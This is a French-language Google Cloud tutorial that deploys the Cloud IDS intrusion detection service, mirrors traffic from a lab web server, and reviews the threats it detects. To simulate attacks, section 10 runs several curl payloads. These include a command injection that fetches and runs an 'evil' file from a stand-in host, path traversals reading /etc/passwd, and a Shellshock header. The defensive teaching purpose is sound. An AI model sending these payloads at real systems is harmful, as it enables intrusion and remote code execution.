Cloud IDS

1. Introduction

Dans cet atelier, vous allez déployer Cloud IDS, un service de détection avancée des intrusions nouvelle génération qui permet de détecter les menaces telles que les intrusions, les logiciels malveillants, les logiciels espions et les attaques de commande et de contrôle. Vous simulerez plusieurs attaques et consulterez les détails des menaces dans la console Cloud.

Points abordés

  • Créer un point de terminaison Cloud IDS
  • Créer deux machines virtuelles avec des commandes gcloud
  • Créer une règle de mise en miroir de paquets
  • Simuler le trafic d'une attaque à partir d'une machine virtuelle
  • Afficher les détails des menaces dans la console Cloud et Cloud Logging

Prérequis

  • Connaître les commandes Linux de base

2. Cas d'utilisation de Cloud IDS

Cloud IDS fournit aux clients un service de détection des intrusions (IDS, Intrusion Detection Service) natif Google Cloud permettant de répondre à leurs exigences avancées de détection des menaces et de conformité, telles que la norme PCI 11.4. Ce service repose sur les technologies de protection contre les menaces de Palo Alto Networks afin d'offrir une détection avancée des intrusions. En associant l'infrastructure de pointe de Google Cloud à la sécurité de pointe de Palo Alto Networks, nos clients bénéficient d'un service de détection avancée des menaces entièrement géré, hautement performant et offrant une sécurité optimale.

La sécurité est une priorité pour les clients qui migrent vers le cloud. Elle souhaite disposer de contrôles de sécurité similaires sur site, comme le service de détection des intrusions (IDS) dans le cloud. Ils préfèrent nettement utiliser une solution IDS gérée cloud native pour simplifier le déploiement, offrir de hautes performances et optimiser les coûts, plutôt que de déployer une solution de sécurité tierce, de gérer l'infrastructure ou d'apporter leurs propres signatures. Google Cloud IDS fournit un service IDS géré de bout en bout avec autoscaling. Les clients peuvent ainsi consacrer plus de temps à l'analyse et à l'atténuation des menaces, et libèrent du temps et des ressources pour gérer l'infrastructure ou les signatures des menaces.

Cloud IDS est déployé hors bande. Il peut détecter les menaces et vous alerter en conséquence, mais ne peut pas les bloquer. Il exploite la mise en miroir de paquets Google Cloud pour créer une copie du trafic réseau, qui est analysée à l'aide du moteur de détection des menaces de Palo Alto Networks.

3. Topologie de l'atelier de programmation

5a276f399e1d31e2.png

Figure 1. Présentation de l'architecture de haut niveau du déploiement de Cloud IDS dans cet atelier.

4. Préparation

Configuration de l'environnement au rythme de chacun

  1. Connectez-vous à la console Google Cloud, puis créez un projet ou réutilisez un projet existant. (Si vous ne possédez pas encore de compte Gmail ou Google Workspace, vous devez en créer un.)

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Le nom du projet est le nom à afficher pour les participants au projet. Il s'agit d'une chaîne de caractères qui n'est pas utilisée par les API Google, et que vous pouvez modifier à tout moment.
  • L'ID du projet doit être unique sur l'ensemble des projets Google Cloud et doit être immuable (vous ne pouvez pas le modifier une fois que vous l'avez défini). Cloud Console génère automatiquement une chaîne unique dont la composition importe peu, en général. Dans la plupart des ateliers de programmation, vous devrez référencer l'ID du projet (généralement identifié comme PROJECT_ID), donc s'il ne vous convient pas, générez-en un autre au hasard ou définissez le vôtre, puis vérifiez s'il est disponible. Il est ensuite "gelé" une fois le projet créé.
  • La troisième valeur est le numéro de projet, utilisé par certaines API. Pour en savoir plus sur ces trois valeurs, consultez la documentation.
  1. Vous devez ensuite activer la facturation dans Cloud Console afin d'utiliser les ressources/API Cloud. L'exécution de cet atelier de programmation est très peu coûteuse, voire sans frais. Pour arrêter les ressources afin d'éviter qu'elles ne vous soient facturées après ce tutoriel, suivez les instructions de nettoyage indiquées à la fin de l'atelier. Les nouveaux utilisateurs de Google Cloud peuvent participer au programme d'essai gratuit pour bénéficier d'un crédit de 300 $.

Démarrer Cloud Shell

Bien que Google Cloud puisse être utilisé à distance depuis votre ordinateur portable, nous allons nous servir de Google Cloud Shell pour cet atelier de programmation, un environnement de ligne de commande exécuté dans le cloud.

Depuis la console GCP, cliquez sur l'icône Cloud Shell de la barre d'outils située dans l'angle supérieur droit :

bce75f34b2c53987.png

Le provisionnement et la connexion à l'environnement prennent quelques instants seulement. Une fois l'opération terminée, le résultat devrait ressembler à ceci :

f6ef2b5f13479f3a.png

Cette machine virtuelle contient tous les outils de développement nécessaires. Elle comprend un répertoire d'accueil persistant de 5 Go et s'exécute sur Google Cloud, ce qui améliore nettement les performances du réseau et l'authentification. Vous pouvez réaliser toutes les activités de cet atelier dans un simple navigateur.

5. Avant de commencer

Activer les API

Dans Cloud Shell, assurez-vous que l'ID de votre projet est configuré.

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Activer tous les services nécessaires

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Créer un réseau VPC

Réseau VPC

Depuis Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Sous-réseau

Depuis Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Accès privé aux services

Depuis Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Connexion de service privée

Depuis Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Règles de pare-feu

Pour autoriser IAP à se connecter à vos instances de VM, créez une règle de pare-feu qui:

  • S'applique à toutes les instances de VM auxquelles vous souhaitez rendre accessibles à l'aide d'IAP.
  • Autorise le trafic entrant provenant de la plage d'adresses IP 35.235.240.0/20. Cette plage contient toutes les adresses IP utilisées par IAP pour le transfert TCP.

Depuis Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Pour autoriser le port HTTP standard (TCP 80) et le protocole ICMP sur le serveur:

  • S'applique aux ressources associées au tag réseau "server"
  • Autorise le trafic d'entrée depuis toutes les sources

Depuis Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Créer une instance Cloud NAT

Cloud Router

Depuis Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Depuis Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Créer un point de terminaison Cloud IDS

Dans cette section, vous allez créer un point de terminaison Cloud IDS dans la région us-east1, avec un niveau de gravité défini sur "Information". La création du point de terminaison IDS prend environ 20 minutes.

Point de terminaison IDS

Depuis Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Vérifier que le point de terminaison Cloud IDS a bien été lancé

gcloud ids endpoints list --project=$PROJECT_ID

Résultat –

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Créer deux machines virtuelles

Dans cette section, vous allez créer deux machines virtuelles. Le premier sera votre serveur Web qui sera mis en miroir vers Cloud IDS. La deuxième machine virtuelle sera votre source de trafic d'attaque.

Machine virtuelle 1 (serveur)

Depuis Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Machine virtuelle 2 (client)

Depuis Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Préparation du serveur...

Dans cette tâche, vous allez valider votre serveur et fournir à votre client une charge utile inoffensive du logiciel malveillant.

Se connecter en SSH à la VM via Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Vérifier que le service Web est en cours d'exécution

sudo systemctl status nginx

Résultat : vérifiez qu'il est actif et en cours d'exécution

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Passer du répertoire au service Web

cd /var/www/html/

Créer un fichier inoffensif représentant un logiciel malveillant sur le serveur Web

sudo touch eicar.file

Coller le contenu

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Revenir à Cloud Shell

exit

Créer une règle de mise en miroir de paquets vers Cloud IDS

Identifiez la règle de transfert du point de terminaison IDS et vérifiez que l'état du point de terminaison IDS est "READY" (PRÊT).

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Exemple de résultat : copiez la valeur de "endpointSharingRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Enregistrez la règle de transfert de point de terminaison IDS dans une variable.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Règle de mise en miroir de paquets

Depuis Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Vérifier que la règle de mise en miroir de paquets a été créée

Depuis Cloud Shell

gcloud compute packet-mirrorings list

Sortie

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Simuler le trafic d'une attaque

Se connecter en SSH à la machine virtuelle à l'origine de l'attaque (client)

Depuis Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Exécutez les requêtes curl suivantes pour simuler un trafic malveillant.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Quittez la VM pour revenir à Cloud Shell.

exit

11. Examiner les menaces détectées par Cloud IDS

Accéder au tableau de bord Cloud IDS

Menu de navigation > Sécurité du réseau > Cloud IDS

37583419aa604aa8.png

Accédez à l'onglet "Menaces".

b7d934f409b4e2b.png

Comme vous pouvez le voir, Cloud IDS a capturé différents profils de trafic d'attaque et fourni des détails sur chaque menace. Vous devrez peut-être cliquer sur le bouton "Actualiser" bouton si aucune menace ne s'affiche. Nous allons maintenant approfondir et examiner les détails des menaces.

Repérez la faille d’exécution de code à distance dans bash. cliquez sur les trois points à droite, puis sur "Afficher les détails de la menace".

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Nous allons maintenant afficher les détails de cet incident dans Cloud Logging. Revenez à la page "Menaces" en cliquant sur la flèche pointant vers la gauche .

Cliquez sur les trois points à droite et sélectionnez "Afficher les journaux de menaces"

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Les mêmes détails sont fournis à Cloud Logging. Cela vous permet d'envoyer les journaux vers Cloud Storage, Chronicle ou n'importe quelle solution SIEM/SOAR. Vous pouvez également créer des flux de travail personnalisés pour appliquer des mesures correctives en fonction d'alertes, telles que créer une fonction Cloud qui se déclenche en cas d'alerte et créer/mettre à jour une règle de pare-feu pour bloquer l'adresse IP, ou créer/mettre à jour une stratégie Cloud Armor ;

12. Étapes de nettoyage

Quitter l'instance de VM (tous les onglets)

exit

Supprimer les composants de l'atelier depuis un seul terminal Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Félicitations !

Bravo ! Vous avez terminé cet atelier de programmation.

Points abordés

  • Cas d'utilisation de Cloud IDS
  • Configuration réseau requise
  • API compatibles
  • Vous avez créé un point de terminaison Cloud IDS
  • 2 VM déployées
  • A généré une "attaque" le trafic provenant du client
  • Des menaces validées ont été détectées par IDS
  • Examiner les détails et les journaux des menaces